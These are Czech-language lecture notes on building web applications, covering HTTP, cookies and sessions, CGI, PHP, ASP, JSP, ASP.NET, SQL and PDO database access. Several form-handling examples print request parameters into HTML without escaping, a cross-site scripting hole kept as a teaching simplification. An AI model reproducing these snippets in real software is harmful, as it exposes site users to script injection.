ÚVOD

VÝHODY WEBOVÝCH APLIKACÍ

- nulová instalace – stačí spustit prohlížeč a v něm otevřít stránku s aplikací
- snadná údržba a aktualizace aplikace – vše podstatné je na „serveru“
- globální dosah – funguje všude, kde je internet

NEVÝHODY WEBOVÝCH APLIKACÍ

- složitý vývojářský „stack“
  - frontendové technologie – HTML, CSS, JavaScript
  - nástroje vylepšující frontendové technologie – preprocesory CSS, transpilátory JS, …
  - backendové technologie – PHP/Ruby/Python/J2EE/.NET/Node.js
  - protokol HTTP a jeho specifika
- horší UX než u nativních aplikací
- teprve vznikající možnost tvorby aplikací fungujících i v offline režimu

PŘÍSTUPY K TVORBĚ APLIKACÍ

- server-side aplikace
- aplikace běžící v prohlížeči
- kombinace
- využití REST API

HTTP

CO JE TO HTTP

- HTTP = Hypertext Transfer Protocol
- protokol pro přenos objektů libovolného typu (stránky, obrázky, …) mezi webovým serverem a prohlížečem
- používá se i pro odesílání formulářových dat
- jednoduchý aplikační protokol vystavený nad protokolem TCP
- bezstavový protokol modelu požadavek/odpověď – přináší problémy pro webové aplikace
- několik verzí – HTTP 0.9, HTTP 1.0, HTTP 1.1, HTTP/2
- HTTP/2 – novinka roku 2015, podpora do serverů a prohlížečů se postupně přidává

ZÁKLADNÍ MODEL PROTOKOLU

- navázání spojení
- zaslání požadavku klientem
- zaslání odpovědi serverem
- uzavření spojení
- pro stránky s mnoha vloženými objekty (obrázky apod.) je tento způsob pomalý, a proto novější verze HTTP umožňují během jednoho spojení vyřídit několik požadavků/odpovědí

STRUKTURA POŽADAVKU V HTTP 1.0 A 1.1

```
1. metoda URL_dokumentu verze_HTTP
2. hlavičky
3. prázdná_řádka
4.
5. tělo_požadavku
```

PŘÍKLAD 1. UKÁZKA JEDNODUCHÉHO POŽADAVKU

```
1. GET /clanky/obsah.html HTTP/1.1
2. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
3. Host: www.server.cz
```

METODY POŽADAVKU

GET

- nejběžnější – žádost o stránku, odeslání dat z formuláře metodou GET

POST

- odeslání dat z formuláře

HEAD

- zaslání samotných hlaviček odpovědi

PUT

- uložení objektu (stránky, obrázku apod.) na dané URL

DELETE

- smazání objektu (stránky, obrázku apod.) z daného URL

TRACE, CONNECT, OPTIONS

- konfigurace a analýza způsobu připojení

STRUKTURA ODPOVĚDI V HTTP 1.0 A 1.1

```
1. protokol stavový_kód stavové_hlášení
2. hlavičky
3. prázdná_řádka
4. obsah_odpovědi
```

PŘÍKLAD 2. UKÁZKA ODPOVĚDI

```
1. HTTP/1.1 200 OK
2. Server: Microsoft-IIS/5.0
3. Date: Wed, 06 Dec 2000 13:37:40 GMT
4. X-Powered-By: PHP/4.0.3pl1
5. Content-type: text/html
6.
7. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
8. <html>
9. <head>
10.  <title>Dobývání znalostí z databází 2000</title>
11.  <link rel="stylesheet" type="text/css" href="base.css">
12.  ...
```

STAVOVÉ KÓDY

1xx

- informativní kód

2xx

- úspěšné vyřízení požadavku

3xx

- přesměrování

4xx

- chyba klienta

5xx

- chyba na straně serveru

PŘEDÁVÁNÍ FORMULÁŘOVÝCH DAT

METODA GET

- standardní metoda

```
1. <form method="GET" …>
```

- před odesláním prohlížeč všechna data z formuláře zakóduje do jednoho dlouhého řetězce

```
1. název1=hodnota1&název1=hodnota2&...
```

  - hodnoty polí jsou upraveny tak, aby je šlo zapsat jako součást URL
  - mezera → +
    speciální znaky, znaky s diakritikou apod. → %xx, kde xx je reprezentuje jednotlivé bajty z textu reprezentovaného v kódování UTF-8
- zakódovaná data přidána za URL požadavku (za znak ?)
  - webový server typicky předá skriptu data v proměnné prostředí QUERY_STRING
  - většina jazyků pro psaní webových aplikací však data zpřístupní pohodlnějším způsobem

METODA POST

- data se kódují podobně jako při použití metody GET
- data se přenášejí v těle požadavku HTTP
- webový server data předává skriptu na jeho standardní vstup
- opět ve většině jazyků lze data číst pohodlně bez nutnosti parsovat standardní vstup

VÝBĚR METODY

GET

- odeslání formuláře lze simulovat pomocí zadání URL adresy
- vhodné pro operace, které nemění stav backendu
- lze uložit do záložek, poslat emailem, …

POST

- pro větší objemy dat (nevejdou se do URL)
- nutné pro operace měnící stav backendu

DALŠÍ MOŽNOSTI

- standardně se formuláře odesílají jako typ application/x-www-form-urlencoded
- při nahrávání souborů lze používá typ multipart/form-data
- metodu lze vybrat i ručně

```
1. <form action="..." method="post" enctype="multipart/form-data">
2. …
3. </form>
```

HLAVIČKY

O HLAVIČKÁCH OBECNĚ

- některé hlavičky lze použít v požadavku i v odpovědi
- některé jsou specifické pro požadavek, resp. odpověď
- ne všechny hlavičky jsou povinné, většina je volitelná

NEJDŮLEŽITĚJŠÍ HLAVIČKY

Date

- datum a čas požadavku/odpovědi

Content-Type

- druh zasílaných dat

Host

- doménová adresa serveru – umožňuje správnou funkci více virtuálních serverů na jedné společné adrese

Location

- přesměrování na jinou stránku

OVLÁDÁNÍ VYROVNÁVACÍCH PAMĚTÍ, PROXY SERVERŮ A NAČÍTÁNÍ STRÁNEK

Cache-Control

- řízení proxy serverů a vyrovnávacích pamětí

Pragma

- vyhrazeno pro nestandardní informace (nejčastěji zákaz kešování pro starší prohlížeče)

Expires

- datum, kdy vyprší platnost stránky

If-Modified-Since

- podmíněné načtení stránky

Last-Modified

- datum poslední modifikace souboru

DOMLOUVÁNÍ OBSAHU

Accept

- seznam typů dat podporovaných klientem

Accept-Charset

- seznam kódování, které podporuje klient

Accept-Language

- seznam podporovaných jazyků

Allow

- seznam metod, kterými je dostupný určitý objekt

IDENTIFIKAČNÍ ÚDAJE

User-Agent

- identifikace klienta

Server

- identifikace serveru

Referer

- adresa stránky, kde bylo získáno URL právě kladeného požadavku (lze použít pro analýzu typu „odkud přišli“)

From

- e-mailová adresa uživatele (ještě jsem neviděl prohlížeč, který by ji posílal;)

ČTENÍ HLAVIČEK

- většina hlaviček je CGI rozhraním převedena na proměnné
- např. User-Agent → $_SERVER['HTTP_USER_AGENT']

GENEROVÁNÍ HLAVIČEK

- zapisují se před tělo odpovědi HTTP
- v PHP je k dispozici funkce Header:

```
1. <?php Header("Content-Type: image/gif") ?>
```

ZÁKAZ KEŠOVÁNÍ STRÁNEK

- informace na stránce se mění v čase
    - on-line přístup do IS
    - reklamní bannery

```
1. Cache-Control: no-cache, no-store, must-revalidate
2. Pragma: no-cache
3. Expires: datum v minulosti
```

- používat s rozvahou, mnohdy zbytečně zatěžuje přenosové kapacity
- některé proxy servery hlavičky ignorují – do všech URL se pak musí vkládat jedinečný řetězec

AUTOMATICKÉ PŘESMĚROVÁNÍ KLIENTA

- při pohybu v historii stránek může dojít k nechtěnému opětovnému zaslání dat z formuláře
- vznikají duplicity v databázi, nebo se vypisují chybová hlášení
- stránka obsluhující formulář by měla být v optimálním případě vyřazena z historie stránek
- stránka, která posílá hlavičku Location, se do historie nezařadí
- pozor, adresa v hlavičce Location musí být absolutní

IDENTIFIKACE TYPU GENEROVANÝCH DAT

- pokud chceme skriptem generovat jiné druhy dat než HTML (např. obrázky, soubory ve Wordu apod.) musíme nastavit správný typ v hlavičce
- Např.: Content-Type: image/gif
- pokud chceme vygenerovat soubor, který bude nabídnut k uložení, lze použít následující hlavičky

```
1. Content-type: application/octet-stream
2. Content-disposition: filename=najakysoubor.dat
```

OMEZENÍ HTTP

- protokol HTTP je bezstavový
- server nemá stále spojení s klienty a nemůže je proto jednoznačně identifikovat
- velké komplikace pro webové aplikace, které vyžadují stavovou informaci – např. nákupní košík

ŘEŠENÍ

- přenášení údajů v URL a skrytých polí formuláře
- cookies
- session proměnné
- Web Storage

PŘEDÁVÁNÍ STAVOVÝCH PROMĚNNÝCH V URL A SKRYTÝCH POLÍCH FORMULÁŘŮ

- nebezpečné – všechny stavové informace jsou v každém požadavku/odpovědi
- zbytečně zvyšuje přenosovou kapacitu
- velmi pracné na implementaci – za každý odkaz a do každého formuláře se musí přidat všechny stavové proměnné

COOKIES

- krátká informace, kterou si server uloží v prohlížeči
- při následujících přístupech k témuž serveru je cookie zaslána zpět
- cookie je vázána na server a případně i na adresář – informace se nedostanou k tomu, komu nepatří
- časová platnost cookie
    - session cookie – platí do té doby, než se vypne prohlížeč

```
SetCookie('název', hodnota)
```

    - nastavena na konkrétní délku

```
SetCookie('název', hodnota, platnost)
```

- cookie třetích stran, rizika, P3P

PŘEDÁVÁNÍ STAVOVÝCH INFORMACÍ POMOCÍ COOKIES

- nebezpečné – všechny stavové informace jsou v každém požadavku/odpovědi
- implementace je velice snadná
- podporu cookies lze v prohlížeči vypnout, proto by dobře napsaná aplikace měla fungovat i bez nic

SESSION PROMĚNNÉ

- každému novému uživateli se přiřadí unikátní identifikátor (tzv. session-id)
    - předává se s každým požadavkem pomocí cookie nebo parametrů v URL, resp. skrytých polí ve formuláři
    - session-id je konstruováno tak, aby bylo těžko odhadnutelné (většinou náhodné číslo + hashovací funkce MD5 nebo SHA)
- pro každé session-id má webový server vyhrazen prostor pro ukládání dat (proměnných)
    - sdílená paměť
    - soubory
    - databáze

PŘEDÁVÁNÍ STAVOVÝCH INFORMACÍ POMOCÍ SESSION PROMĚNNÝCH

- poměrně bezpečné – s každým požadavkem se přenáší jen malá část dat a session-id
- šetří kapacitu sítě – data jsou ukládána přímo na web-serveru
- velice snadná implementace – většina prostředí pracuje se session proměnnými téměř stejně jako s běžnými proměnnými
- podpora session proměnných ve skriptových prostředích:
    - ASP – zabudovaná podpora, pracuje pouze s cookies
    - PHP4, PHP5 – zabudovaná podpora, podporuje cookies i automatické přepisování URL adres
    - JSP – zabudovaná podpora, podporuje cookies, velice snadno může podporovat i přepisování URL adres
    - ASP.NET – zabudovaná podpora, podporuje cookies i automatické přepisování URL adres

WEB STORAGE

- úložiště dat na klientovi
- součást HTML5, podporováno všemi moderními prohlížeči
- pojme více dat než cookies a nepřenáší se na server, data zůstávají u klienta a jsou přístupná pouze pomocí JavaScriptu
- localStorage – je persistentní i přes uzavření prohlížeče
- sessionStorage – platné jen po dobu jedné relace

NÁSTROJE A PŘÍSTUPY PRO TVORBU WEBOVÝCH APLIKACÍ

ZÁKLADNÍ PRINCIPY GENEROVÁNÍ STRÁNEK NA SERVERU

- na serveru je dynamicky generováno HTML na základě požadavku uživatele
- do prohlížeče je odesílán již jen čistý HTML kód
- není potřeba žádný speciální prohlížeč, lze použít libovolný se základní podporou HTML
- v případě potřeby lze na serverem generovaných stránkách použít i klientské technologie (JavaScript)

TECHNOLOGIE PRO DYNAMICKÉ GENEROVÁNÍ HTML STRÁNEK

- Server Side Includes (SSI)
- CGI skripty
- FastCGI skripty
- SAPI moduly a filtry
- Active Server Pages (ASP)
- PHP
- servlety
- Java Server Pages
- ASP.NET
- Ruby on Rails
- Django (Python)
- node.js

SSI

SERVER SIDE INCLUDES

- do HTML kódu se zapisují jednoduché instrukce, které zpracovává přímo webový server
- to, že se v souboru mají hledat SSI, se pozná podle přípony souboru (obvykle .shtml)
- syntaxe:

```
1. <!--#příkaz parametry-->
```

UKÁZKA

Příklad 1. Vypsání aktuálního času

```
1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
2. <html>
3. <head><title>První pokusný skript</title></head>
4. <body>
5. <h1>Aktuální čas: <!--#echo var="DATE_LOCAL"--></h1>
6. </body>
7. </html>
```

PŘEHLED PŘÍKAZŮ

#include

- načtení externího souboru

#fsize

- zjištění velikosti souboru

#flastmod

- zjištění času poslední modifikace souboru

#echo

- vypsání obsahu proměnné – DATE_GMT, DATE_LOCAL, DOCUMENT_NAME, DOCUMENT_URI, LAST_MODIFIED, QUERY_STRING_UNESCAPED

#exec

- spuštění externího programu

#config

- nastavení formátu výstupu ostatních příkazů

CGI SKRIPTY

ROZHRANÍ CGI

- CGI – Common Gateway Interface
- rozhraní definuje způsob komunikace web-serveru s aplikací
- CGI skript je program, který používá rozhraní CGI
- CGI skripty lze psát v téměř libovolném jazyce, stačí dodržet konvence rozhraní CGI
    - shell, Perl, C/C++, Pascal, Python, …
- podpora CGI nebývá implicitní, musí se ve web-serveru zapnout (bezpečnost)

PŘEDÁVÁNÍ PARAMETRŮ PŘES ROZHRANÍ CGI

- existují dvě metody – GET a POST
- způsob je určen přímo v HTML formuláři

```
1. <form ... method="post">
2. <form ... method="get">
```

- metody předávání dat jsme již probrali
- další jazyky způsob předávání dat definovaný poprvé pro CGI převzaly

UKÁZKY

Příklad 2. Vypsání aktuálního času v C

```
1. #include <stdio.h>
2. #include <time.h>
3.
4. int main()
5. {
6.     struct tm *aktualni_cas;
7.     time_t aktualni_sekundy;
8.     char s[80];
9.
10.      printf("Content-type: text/html\n\n");
```

```
11.     printf("<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0
   Transitional//EN'>
12.  <html>
13.  <head><title>První pokusný skript</title></head>
14.  <body>
15.  <h1>Aktuální čas: ");
16.     time(&aktualni_sekundy);
17.     aktualni_cas = localtime(&aktualni_sekundy);
18.     strftime(s, 80, "%d.%l.%Y %H:%M:%S", aktualni_cas);
```

Příklad 3. Obsluha formuláře v Perlu

```
1. #!/usr/bin/perl
2. use CGI;
3.
4. print "Content-type: text/html\n\n";
5. print <<EOF
6. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
7. <html>
8. <head>
9. <title>Obsluha formuláře</title>
10.  </head>
11.  <body>
12.  EOF
13.  ;
14.
15.  $query = new CGI;
16.  print "Jmenuješ se <em>", $query->param('jmeno'), "</em><br>";
17.  if ($query->param('vek') < 18)
```

SHRNUTÍ

- výhody:
  - pro psaní skriptů lze použít téměř libovolný jazyk
  - vývojář se nemusí učit nový jazyk
- nevýhody
  - pro obsluhu každého požadavku je spouštěn nový proces
  - pomalé a náročné na zdroje serveru
  - na více zatížených serverech nelze vůbec použít

FASTCGI

- vylepšená varianta rozhraní CGI, snižuje zátěž serveru
- každý skript se do paměti načítá jen jednou, pak postupně obsluhuje další požadavky
- web-server s aplikací komunikuje pomocí TCP/IP
  - web-server a aplikaci je možné rozdělit na samostatné počítače
  - primitivní řešení load-balancingu

POUŽITÍ FASTCGI

- na rozdíl od CGI, nepodporují FastCGI zdaleka všechny servery
- aplikace musí používat speciální knihovnu, která implementuje rozhraní FastCGI
  - C, Perl, …

- ukázka

```
1. use FCGI;
2.
3. while(FCGI::accept() >= 0)  # čekání na požadavek
4. {
5.     # obsluha požadavku - stejná jako v případě CGI verze
6. }
```

- skript je v paměti vykonáván opakovaně, musíme dávat velký pozor na přetečení paměti apod.
- ve skriptu můžeme používat vlastní čítač, a po určitém počtu obsloužených požadavků skript ukončit, web-server si ho při dalším požadavku sám znovu spustí

SAPI

ISAPI, NSAPI, WSAPI, …

- v průběhu času začala většina serverů nabízet kromě CGI rozhraní i speciálně přizpůsobené rozhraní
- dnes nejpoužívanější je ISAPI – podporují ho servery Microsoftu a mnohé další
- aplikace napsané pro SAPI mají většinou podobu DLL knihoven
- do paměti se podobně jako FastCGI skripty načtou při prvním požadavku a pak v ní již zůstanou
- nelze rozdělit aplikaci a web-server
- SAPI moduly jsou binární nativní kód – pro tvorbu si musíme sehnat vhodný kompilátor

ASP

ACTIVE SERVER PAGES

- přímo do HTML kódu se zapisují jednoduché příkazy
- ASP je jen jakýsi framework
    - lze použít libovolný jazyk podporující Active Scripting
        - standardně JScript a VBScript
        - třetí firmy dodávají Perl, REXX, Python
    - ve všech jazycích jsou dostupné základní objekty s důležitými informacemi (data z formulářů apod.)
- standardní součást webových serverů MS
- podpora jiných serverů a platforem je velice slabá

MOŽNOSTI ASP

- k dispozici máme všechny funkce zvoleného jazyka (bohužel VBScript a JScript jsou poměrně chudé jazyky)
- sada ASP objektů pro práci s
    - požadavkem – data z formulářů apod.
    - odpovědí – nastavování hlaviček
    - další pomocné objekty – aplikační a session proměnné, …
- chybějící funkčnost se dodává pomocí COM objektů
    - rychlé – píší se přímo v nativním kódu
    - instalace a správa aplikace není jednoduchá, protože je roztroušená na mnoha místech

UKÁZKA

Příklad 4. Vypsání aktuálního času v ASP

```
1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
2. <html>
3. <head><title>První pokusný skript</title></head>
4. <body>
5. <h1>Aktuální čas: <%= Now() %></h1>
6. </body>
7. </html>
```

- <% ... %> – blok příkazů
- <%= výraz %> – vypsání hodnoty výrazu přímo do stránky

UKÁZKA

Příklad 5. Obsluha dat z formuláře

```
1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
2. <html>
3. <head>
4. <title>Ukázkový formulář</title>
5. </head>
6. <body>
7. Jmenuješ se <em><%= Request("jmeno")%></em><br>
8. <%
9. If Request("vek") < 18 Then
10.      Response.Write "a jseš moc mladý na náš bar"
11.  Else
12.      Response.Write "a jsme rádi, že jsi přišel do našeho baru"
13.  End If
14.  %>
15.  </body>
16.  </html>
```

PHP

HYPERTEXTOVÝ PREPROCESOR PHP

- přímo do HTML kódu se zapisují jednoduché příkazy
- jednoduchá syntaxe založená na C, Perlu a Javě
- speciálně navržený jazyk pro tvorbu webových aplikací
- velmi rozsáhlá knihovna funkcí
- nezávislost na platformě – může spolupracovat s v podstatě libovolným serverem na libovolné platformě
- OSS – dostupný zdarma včetně zdrojových kódů

UKÁZKA

Příklad 6. Vypsání aktuálního času

```
1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
2. <html>
3. <head><title>První pokusný skript</title></head>
4. <body>
```

```
<h1>Aktuální čas: <?php echo Date("r")?></h1>
</body>
</html>
```

- pro oddělování příkazů od HTML kódu se používají znaky <?php a ?>

UKÁZKA

Příklad 7. Obsluha dat z formuláře

```
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
<html>
<head>
<title>Ukázkový formulář</title>
</head>
<body>
Jmenuješ se <em><?php echo $_REQUEST["jmeno"]?></em><br>
<?php
if ($_REQUEST["vek"] < 18)
 {
     echo "a jseš moc mladý na náš bar";
 }
 else
 {
     echo "a jsme rádi, že jsi přišel do našeho baru";
 }
 ?>
 </body>
 </html>
```

JAVA A WEBOVÉ APLIKACE

JAVA SERVLETY

- servlet je speciální třída zapsaná v jazyce Java
- servlet je spouštěn v tzv. kontejneru (web server v sobě spustí JVM nebo je přímo napsán v Javě v něm pak běží servlet)
- podobně jako u ISAPI a FastCGI zůstává servlet po prvním načtení v paměti a obsluhuje další požadavky

JAVA SERVER PAGES

- do HTML kódu se zapisují příkazy Javy
- k dispozici jsou podobně jako v ASP speciální objekty pro čtení dat z formulářů apod.
- pro lepší oddělení designu a logiky lze definovat „tag libraries“ – uživatelsky definované tagy, které volají předem připravené komponenty
- spuštění JSP se stará servlet, který JSP automaticky převede do Javy, zkompiluje do byte-code a spustí

UKÁZKA JSP

Příklad 8. Vypsání aktuálního času

```
<%@ page language="java" import="java.text.*, java.util.*" %>
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
<html>
<head><title>První pokusný skript</title></head>
```

```
5. <body>
6. <h1>Aktuální čas: <%= new Date() %></h1>
7. </body>
8. </html>
```

UKÁZKA JSP

Příklad 9. Obsluha dat z formuláře

```
1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>
2. <html>
3. <head>
4. <title>Ukázkový formulář</title>
5. </head>
6. <body>
7. Jmenuješ se <em><%= request.getParameter("jmeno")%></em><br>
8. <% if (Integer.parseInt(request.getParameter("vek")) < 18) { %>
9.     a jseš moc mladý na náš bar
10.  <% } else { %>
11.      a jsme rádi, že jsi přišel do našeho baru
12.  <% } %>
13.  </body>
14.  </html>
```

ASP.NET

.NET

- platforma Microsoftu s podobnými principy jako platforma Java
- aplikace se zdrojových kódů překládá do CIL (Common Intermediate Language) – obdoba javového bytecode
- spouštění CIL se stará CLR (Common Language Runtime)
    - před spuštěním je vždy CIL převeden do nativního kódu (obdoba JIT kompilace v Javě)
    - Microsoft nabízí CLR pro Windows; existují i run-time pro další systémy (např. Mono pro Linux)
- všechny jazyky, které lze kompilovat do CIL (VB.NET, Managed C++, C#, …) používají stejné knihovny (velká změna oproti předchozím verzím jazyků)
    - výborná podpora XML
    - hlavní tři knihovny – webové služby, Web Forms (tvorba webových aplikací), Windows Forms (tvorba „klasických“ aplikací)

ASP.NET

- s klasickými ASP nemá nic společného (kromě názvu)
- vyvíjí se jako klasická klientská aplikace – prvky uživatelského rozhraní a obsluha událostí (WebForms)
- ASP.NET si webový server přeloží do nativního kódu, který se stará o postupné zasílání HTML kódu a obsluhu formulářových dat
- vygenerovaný kód detekuje použitý prohlížeč a tomu přizpůsobí generovaný HTML a JavaScriptový kód
- VisualStudio.NET umožňuje aplikace vyvinout pouhým „naklikáním“
- později byly pro ASP.NET vytvořeny další nastavby – např. ASP.NET MVC nebo Razor

PŘÍSTUPY K NÁVRHU APLIKACÍ

„ŠPAGETOVÝ KÓD“

- HTML kód je promíchán s aplikační logikou (příkazy)
- nepřehledné a neudržovatelné; zvláště pro větší projekty
- typické při použití čistého PHP, ASP, JSP

MODEL-VIEW-CONTROLLER (MVC)

- je oddělena aplikační logika (model), generování výstupů pro uživatele (view) a průběh interakce (controller)
- velice čistý přístup, aplikace se lépe udržuje
- oddělené M-V-C znamená více práce a kódu
- např. J2EE, Spring, ASP.NET MVC, PHP s vhodným frameworkem

KOMPONENTOVÉ FRAMEWORKY

- aplikace se skládá z vizuálních komponent, které na pozadí generují odpovídající HTML (+JS) kód
- vývojář je odstíněn od webové platformy (HTML, JS, HTTP, …)
- např. ASP.NET, JSF, PHP s v hodným frameworkem (např. PRADO)

„MODERNÍ“ FRAMEWORKY

- většinou staví na myšlence MVC, ale nenutí vývojáře psát a definovat věci, které jsou zřejmé
- např. Ruby on Rails, Django

VÝBĚR TECHNOLOGIE

JAK TO FUNGUJE ČASTO V PRAXI

- místo pro danou úlohu nejlepšího řešení se vybere:
    - co vývojář zná
    - co se ve firmě už používá
    - pro co je levný hosting
    - co je zrovna moderní

RYCHLOST PROVÁDĚNÍ APLIKACÍ

- kompilované jazyky – velmi rychlé (pokud se nepoužije pomalé rozhraní jako CGI)
    - C, C++, Pascal, Java, .NET
    - FastCGI, ISAPI, servlety
- interpretované jazyky – jsou pomalejší
    - Perl, ASP, PHP
    - většina aplikací je jednoduchá a zdržuje je práce s databází – menší výkon většinou nevadí
    - pro některé původně interpretované jazyky postupně vznikají kompilátory (např. HipHop for PHP) nebo virtuální stroje (HVVM pro PHP)
    - rychlost lze zvýšit i udržováním předkompilovaných skriptů v paměti web-serveru

RYCHLOST VÝVOJE APLIKACÍ

- kompilované jazyky – pomalá
  - po provedení každé změny je potřeba program rekompilovat (pracné a pomalé)
- interpretované
  - rychlé změny – stačí opravit zdrojový kód a dát v prohlížeči reload
- rychlý běh aplikací a rychlý vývoj zároveň → JSP, ASP.NET, …
  - programátor pracuje pouze se zdrojovým kódem skriptu
  - kompilaci se automaticky stará webový server nebo jeho modul

POUŽITÍ DATABÁZÍ NA WEBU

ARCHITEKTURA WEBOVÝCH DATABÁZOVÝCH APLIKACÍ

- typická třívrstvá architektura
- webový prohlížeč = velmi tenký klient
- webový server + webová aplikace = aplikační logika + generování prezentační vrstvy pro prohlížeč
- databázový server = databáze (někdy i část aplikační logiky)
- hranice jednotlivých vrstev jsou hodně volné
  - díky JS může být klient i „hodně tlustý“
  - některé databáze rovnou obsahují REST API, takže webový server jen zajišťuje HTTP komunikaci

K ČEMU SE POUŽÍVAJÍ DATABÁZOVÉ APLIKACE NA WEBU

- skoro každá webová aplikace používá nějakou databázi – data je potřeba někam ukládat
- podnikové informační systémy – nízké TCO, ZAC
- vyhledávací služby, katalogy, knihovny
- i chat je databázová aplikace – jednotlivé zprávy je potřeba někam uložit
- nižší náklady na správu, centralizovaná údržba dat a aplikace je snazší a levnější

DATABÁZOVÉ SERVERY

PÁR ZÁKLADNÍCH POJMŮ

- SŘBD (DBMS), databáze, databázový server, SQL server
- přístup datům řídí server (na rozdíl od souborových databází jako MS Access, Paradox, dBase apod.)
  - lze zajistit současnou práci více uživatelů
  - snese i velmi vysokou zátěž
  - komunikace se serverem většinou probíhá po síti (nejčastěji TCP/IP)
- Oracle, MS SQL Server, MySQL, PostgreSQL, Sybase, DB/2, PostgreSQL

PROTOKOLY PRO KOMUNIKACI S DB SERVEREM

- nativní – každá aplikace má svůj protokol
  - lze plně využít všechny funkce databáze
  - přenos aplikace na jiný databázový server je komplikovaný
- standardizovaná rozhraní – ODBC, JDBC, PDO, …
  - je přidána vrstva navíc, která odstiňuje nativní protokol
  - při změně databázového serveru stačí změnit ovladač
- pro předávní příkazů se používá jazyk SQL

RELAČNÍ MODEL DAT

ZÁKLADY

- data jsou ukládána do tabulek (relací)
- matematicky je model popsán relační algebrou
- pojmy
  - tabulka
  - položka/atribut/sloupec – má název a typ
  - záznam/řádek – je jednoznačně identifikován hodnotou primárního klíče
  - primární klíč – nejmenší množina atributů, které jednoznačně identifikují záznam

VZTAHY

- druhy
  - 1:1
  - 1:N
  - M:N – musí se rozložit na dva vztahy 1:N
- v tabulkách se vztahy zaznamenávají pomocí primárních a cizích klíčů

SQL

ÚVOD

- SQL – Structured Query Language
- jednoduchý dotazovací jazyk
- většina databází implementuje standard plus nějaká rozšíření
- výběr dat, přidávání záznamů, mazání záznamů, modifikace záznamů, práce se strukturou databáze, s uživateli a právy, …

SELECT

VÝBĚR DAT

- příkaz SELECT vybírá data z tabulek
- vrací zase tabulku

```
1. SELECT seznam výstupních položek
2.     FROM seznam tabulek
3.     WHERE podmínka
4.     GROUP BY seznam položek
5.     HAVING skupinová podmínka
6.     ORDER BY kritéria třídění
```

SELECT – PŘÍKLADY

```
1. SELECT * FROM Zamestnanci;
2.
3. SELECT Jmeno, Plat FROM Zamestnanci WHERE Plat > 10000;
4.
5. SELECT * FROM Zamestnanci WHERE Jmeno LIKE 'Nov%';
6.
7. SELECT * FROM Zamestnanci
8. WHERE (Plat < 7000) AND NOT (Jmeno LIKE 'Novák %');
9.
10.  SELECT * FROM Zamestnanci
```

```
11.  ORDER BY Jmeno;
12.
13.  SELECT Nazev, Jmeno FROM Odberatele, Zamestnanci
14.  WHERE Odberatele.Zastupce = Zamestnanci.OsobniCislo
```

INSERT INTO

PŘIDÁNÍ ZÁZNAMŮ

```
1. INSERT INTO jméno tabulky
2. (jméno položky, jméno položky, …)
3. VALUES (hodnota, hodnota, …)
4.
5. INSERT INTO jméno tabulky
6. VALUES (hodnota, hodnota, …)
7.
8. INSERT INTO Zamestnanci
9. VALUES (1023, 'Novák Jan', '561220/0235', 'Levá 13, Praha 4', 12000)
```

DELETE FROM

MAZÁNÍ ZÁZNAMŮ

```
1. DELETE FROM jméno tabulky WHERE podmínka
2.
3. DELETE FROM jméno tabulky
4.
5. DELETE FROM Zamestnanci WHERE OsobniCislo = 1023;
```

UPDATE

MODIFIKACE ZÁZNAMŮ

```
1. UPDATE jméno tabulky
2. SET jméno položky = hodnota položky,
3.     jméno položky = hodnota položky,
4.     ...
5.     jméno položky = hodnota položky
6. WHERE podmínka
7.
8. UPDATE Zamestnanci
9. SET Jmeno = 'Procházková Alena'
10.  WHERE OsobniCislo = 1168;
```

CREATE TABLE

VYTVOŘENÍ TABULKY

```
1. CREATE TABLE název tabulky (
2. název položky typ,
3. název položky typ,
4. název položky typ,
5. název položky typ,
6. …)
7.
8. CREATE TABLE Zamestnanci (
```

```
    OsobniCislo int NOT NULL PRIMARY KEY,
      Jmeno       varchar(40),
      RC          char(11),
      Adresa      varchar(60),
      Plat        decimal(10,2))

CREATE TABLE Proj_Zam (
    ID_Projektu char(6) NOT NULL,
    OsobniCislo int NOT NULL,
    PRIMARY KEY (ID_Projektu, OsobniCislo))
```

VYUŽITÍ DATABÁZE VE SKRIPTOVÝCH PROSTŘEDÍCH

ZÁKLADNÍ PRINCIP

- vytvoření připojení k databázi
- zaslání SQL příkazu k provedení
- zpracování výsledku
- odpojení od databáze

PŘÍKLAD PRÁCE S DATABÁZÍ V PHP

```php
<?php

try
{
  // připojení k databázi
  $db = new PDO("mysql:host=localhost;dbname=test", "jméno", "heslo");

  // zaslání dotazu a čtení výsledku
  foreach ($db->query("SELECT * FROM Zamestnanci ORDER BY Jmeno") as $radka)
    {
      // zpracování jednotlivých řádek výsledku
      echo $radka["OsobniCislo"], " ", $radka["Jmeno"], "<br>\n";
    }
}
catch (PDOException $e)
{
  // obsluha případné chyby při práci s databází
  echo "Při práci s databází došlo k chybě: " . $e->getMessage();
}

?>
```

DALŠÍ MOŽNOSTI PŘÍSTUPU K DATŮM

ORM (OBJECT-RELATIONAL MAPPING)

- aplikace nepracuje přímo s databází, ale používá se mezivrstva, která zajišťuje transparentní mapování a perzistenci objektů v paměti na data v databázi
- programátor pracuje s objekty, nepíše přímo SQL kód
- jednodušší vývoj, menší riziko chyby a překlepu v SQL kódu
- v mezních případech může automatické mapování generovat pomalé dotazy a je nutný ruční zásah
- příklady: Doctrine (PHP), Hibernate (Java)

DALŠÍ MOŽNOSTI PŘÍSTUPU K DATŮM

GRAPHQL

- dotazovací jazyk a runtime určený zejména pro API
- GraphQL umožňuje popsat data dostupná přes API a dotaz pak automaticky vybere a vrátí jen potřebná data v požadované struktuře
- není tak dopředu potřeba vymýšlet a optimilizovat API na všechny druhy dotazů, které bude potřeba provádět
- implementace GraphQL existují pro různá úložiště, velmi často operují nad klasickou relační databází

ALTERNATIVNÍ ÚLOŽIŠTĚ DAT

„NOSQL“ DATABÁZE

- typicky jednoduché úložiště klíč/hodnota
- hodnota může obsahovat cokoliv, například strukrovaný datový záznam zapsaný pomocí JSON
